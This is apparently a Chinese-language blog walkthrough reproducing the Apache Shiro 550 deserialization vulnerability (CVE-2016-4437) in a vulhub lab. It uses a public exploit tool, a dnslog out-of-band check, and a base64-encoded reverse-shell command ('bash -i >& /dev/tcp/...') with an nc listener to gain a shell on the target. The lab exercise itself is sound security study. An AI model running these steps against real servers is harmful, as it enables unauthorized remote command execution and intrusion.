渗透测试--shiro-550漏洞复现(CVE-2016-4437)
漏洞概述
Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
影响范围
Apache Shiro版本<=1.2.4
参考手册:
- 利用链详解
- 工具
漏洞复现(当对漏洞了解一定原理后,以最快的方式复现)
一.使用vulhub起shiro对应环境(搭建环境可以看我上一篇vulhub搭建步骤
(1)
(2)进入CVE-2016-4437 目录
(3)执行 docker-compose up -d (初次运行需要加载一系列文件)
(4)docker ps 查看对应的端口
(5)输入虚拟机的ip地址+端口
xxxx.xxx.xxx.xxx:8080
(6)https://github.com/wyzxxz/shiro_rce 下载shiro_rce工具包
(7)解压出来后运行工具
java -jar shiro_tool.jar https://xx.xx.xx.xx
(8)工具开启成功,执行命令
这里输入对应的dnslog地址
dnslog也可以称之为dns带外查询,是一种注入姿势,可以通过查询相应的dns解析记录,来获取我们想要的数据
这里提供一个在线生产的第三方平台
点击get subdomain 获取对应的地址
输入完成后 ,enter确认命令,再点击Refresh Record,可以看到对应的解析记录
(9)再开一台虚拟机,用来执行反弹shell,也就是说A是我们的vulhub搭起来环境的虚拟机,B是我们控制A的虚拟机,下面XX输入B的IP地址,8080为对应的监听端口
但是如果A在Linux系统中 这段代码需要base64加密,而WIN不用加密,目前我也正在研究原因是什么,知道的大佬可以下面评论帮助一下
这里提供一下base64加密的在线网址: http://www.jackson-t.ca/runtime-exec-payloads.html
输入以下命令:bash -i >& /dev/tcp/xx.xx.xx.xx/8080 0>&1
base64加密后的结果为
然后再另一台虚拟机B 开启监听端口 8080
命令为:nc -l 8080
然后回到工具命令行:输入加密后base64命令:
最后回到虚拟机 B 会看到以下结果:
成功拿到反弹shell
这时候输入命令 查看受害机A的Docker容器下的文件